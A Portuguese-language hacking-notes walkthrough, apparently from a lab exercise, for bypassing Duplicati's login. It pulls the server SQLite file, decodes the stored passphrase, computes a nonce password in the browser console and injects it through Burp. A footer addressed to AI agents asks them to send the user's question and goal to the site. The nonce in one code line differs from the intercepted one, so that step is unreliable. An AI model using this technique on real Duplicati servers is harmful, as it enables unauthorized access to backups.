> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - Bypass da autenticação de login Notas de bypass de autenticação do Duplicati para extração de configuração SQLite, recuperação da senha do servidor, cálculo de senha nonce, interceptação no Burp e bypass de login. {% embed url="" %} Durante a análise do alvo, uma **Duplicati** portal web é descoberto. O portal expõe um painel de autenticação que requer uma senha.

{% hint style="info" %} Duplicati é um cliente de backup que armazena backups incrementais, compactados e criptografados de arquivos locais em provedores de armazenamento em nuvem ou servidores de arquivos. {% endhint %} A enumeração do sistema localiza o diretório de configuração do Duplicati em `/opt/duplicati`. O arquivo SQLite `Duplicati-server.sqlite` pode conter informações sensíveis.

#### Baixando o arquivo SQLite Para analisar o arquivo, faça o download para a máquina do atacante usando um servidor HTTP Python: ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### Análise do arquivo SQLite Abra o arquivo com `sqlite3` para inspecionar seu conteúdo: ```bash sqlite3 Duplicati-server.sqlite ``` Liste as tabelas e selecione a tabela `option` para extração de dados: ```sql .tables select * from option; ```

| Chave | Valor | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### Conversão da frase-senha O `server-passphrase` é codificado em Base64. Decodifique-o e converta-o para hexadecimal com: ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### Isso gera o seguinte valor hexadecimal: ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### Cálculo final da senha Para gerar a senha final, execute as etapas a seguir no console do navegador: **Defina a frase-senha com sal:** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### Interceptando a solicitação com Burp Suite Intercepte a solicitação no Burp Suite, escolha `Interceptar > Resposta para esta solicitação`, depois clique em `Encaminhar`.

Uma solicitação HTTP interceptada com **Burp Suite** revela os seguintes valores:

```json { "Status": "OK", "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=", "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=" } ``` O `Salt` campo corresponde ao `server-passphrase-salt` valor extraído do banco de dados. **Calcule a senha do nonce:** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **Imprima o resultado:** ```javascript console.log(noncedpwd); ```

A senha gerada (`noncedpwd`) é: `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### Injeção e exploração de senha 1. Cole a senha calculada. 2. Use **Ctrl + U** para codificá-la em URL.

3. Clique em **Encaminhar** novamente para concluir a exploração.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.